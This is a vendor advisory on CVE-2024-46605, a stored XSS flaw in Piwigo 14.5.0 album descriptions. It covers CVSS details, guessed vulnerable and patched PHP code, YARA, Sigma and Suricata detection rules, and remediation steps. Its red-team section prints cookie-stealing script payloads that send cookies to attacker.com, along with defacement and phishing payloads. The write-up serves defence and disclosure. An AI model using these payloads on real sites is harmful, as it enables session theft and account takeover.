CVE-2024-46605
Executive Summary
CVE-2024-46605 is a stored Cross-Site Scripting (XSS) vulnerability in Piwigo v14.5.0, specifically within the album management interface. An authenticated attacker with album creation or editing privileges can inject arbitrary JavaScript or HTML into the Description field of an album via the /admin.php?page=album component. This payload is then stored on the server and executed in the browsers of any user who views the affected album, including administrators. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a vector emphasizing network-based exploitation, low attack complexity, required privileges, and user interaction. No public exploit code or Nuclei template is currently available, but the attack vector is straightforward and well-documented.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Piwigo is a self-hosted PHP photo gallery application. This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the Piwigo application itself. The risk is primarily to organizations that self-host Piwigo instances. No known supply chain compromise is associated with this CVE.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker needs an authenticated account with album management privileges.
- User Interaction (UI): Required (R) – A victim must view the malicious album page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking, phishing, or defacement makes this a significant concern for Piwigo administrators.
Deep Dive & Mechanics
The vulnerability resides in the album creation/editing functionality. When an authenticated user submits a new album or modifies an existing one, the Description field is not properly sanitized or encoded before being stored in the database. The application then renders this description on the album page without proper output encoding, allowing arbitrary HTML and JavaScript to execute.
Attack Flow:
- Authentication: The attacker logs into Piwigo with an account that has permission to create or edit albums.
- Crafting Payload: The attacker navigates to
/admin.php?page=albumand injects a malicious payload into theDescriptionfield. Example:<script>alert('XSS')</script>or a more sophisticated payload to steal cookies. - Storage: The payload is stored in the database without sanitization.
- Triggering: When any user (including administrators) views the album page, the stored payload is rendered and executed in their browser.
- Impact: The attacker can perform actions such as session hijacking, defacement, or phishing.
Root Cause: Lack of input validation and output encoding on the Description field. The application likely uses echo or similar functions without applying htmlspecialchars() or equivalent escaping.
Vulnerable vs. Patched Code
Vulnerable Code (Piwigo v14.5.0):
// In admin/album.php or similar
$description = $_POST['description']; // No sanitization
// ... later in the template
echo $description; // Direct output without encoding
Patched Code (Hypothetical Fix):
// In admin/album.php or similar
$description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8');
// ... later in the template
echo $description; // Now safe
The fix involves using htmlspecialchars() (or a similar function like strip_tags() with a whitelist) on input, and ensuring output is encoded. Additionally, a Content Security Policy (CSP) header can mitigate impact.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A running Piwigo v14.5.0 instance.
- An authenticated user account with album creation/editing privileges.
Exploitation Steps:
- Login: Access the Piwigo admin panel.
- Navigate: Go to
/admin.php?page=album. - Create/Edit Album: Fill in the album name and other details.
- Inject Payload: In the
Descriptionfield, enter a malicious script. For example:<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Save: Submit the form.
- Trigger: Wait for an administrator or other user to view the album. The script will execute, sending cookies to the attacker's server.
Alternative Payloads:
- Session Hijacking:
<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script> - Phishing:
<form action="http://attacker.com/login" method="post"><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form>
Blue Team (Defender)
Detection & Prevention:
- Input Validation: Implement strict input validation on the
Descriptionfield. Use a whitelist of allowed HTML tags (e.g.,<b>,<i>,<a>) and strip all others. - Output Encoding: Always encode output using
htmlspecialchars()or a templating engine that auto-escapes. - Content Security Policy (CSP): Add a CSP header to restrict script execution. Example:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Web Application Firewall (WAF): Deploy a WAF rule to block common XSS patterns in POST parameters.
- User Education: Train administrators to avoid clicking on suspicious links and to use strong, unique passwords.
Lab Setup for Testing:
- Environment: Docker container running Piwigo v14.5.0.
- Tools: Burp Suite, OWASP ZAP, or a simple browser with developer tools.
- Steps:
- Deploy Piwigo using Docker:
docker run -d -p 8080:80 piwigo:14.5.0 - Access the admin panel and create a test album.
- Use Burp Suite to intercept the request and modify the
descriptionparameter. - Verify that the payload is stored and executed.
- Deploy Piwigo using Docker:
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the Piwigo server.
- Unusual
Refererheaders pointing to/admin.php?page=album.
- File IOCs:
- Modified database entries in the
piwigo_albumstable with suspiciousdescriptionfields containing<script>tags.
- Modified database entries in the
- Log IOCs:
- Access logs showing repeated requests to
/admin.php?page=albumfrom a single IP. - Error logs containing JavaScript syntax errors (if payloads are malformed).
- Access logs showing repeated requests to
- Behavioral IOCs:
- Unexpected changes to album descriptions.
- Unauthorized administrative actions performed after a user views a malicious album.
Detection Engineering
YARA Rule
rule piwigo_cve_2024_46605_xss {
meta:
description = "Detects stored XSS payloads in Piwigo album descriptions"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-46605"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/si
$xss_event = /on\w+\s*=\s*["'][^"']*["']/si
$xss_src = /src\s*=\s*["']javascript:/si
condition:
any of them
}
Sigma Rule
title: Piwigo Stored XSS via Album Description
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attacks against Piwigo v14.5.0 via the album description field.
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/admin.php*page=album*'
cs-uri-query|contains: 'description='
condition: selection
falsepositives:
- Legitimate use of HTML in descriptions (if allowed by admin)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-46605 Piwigo Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin.php"; http_uri; content:"page=album"; http_uri; pcre:"/description=.*<script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.
- Manual Code Fix: Apply the hypothetical patch described in the "Vulnerable vs. Patched Code" section. Modify the album creation/editing code to sanitize input and encode output.
- Disable HTML in Descriptions: If possible, configure Piwigo to strip all HTML tags from album descriptions. This can be done by modifying the configuration or using a plugin.
- Restrict Privileges: Limit album creation/editing privileges to trusted users only. Review and revoke unnecessary accounts.
- Monitor Logs: Actively monitor web server logs for suspicious POST requests to
/admin.php?page=album.
Long-Term Mitigations:
- Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads.
- Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.
- Regular Security Audits: Conduct periodic code reviews and penetration testing.
- User Training: Educate administrators about the risks of XSS and safe browsing practices.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter out malicious payloads. Example Nginx rule:
location /admin.php { if ($args ~* "description=.*<script") { return 403; } }
Valters IT
Securing Digital Frontiers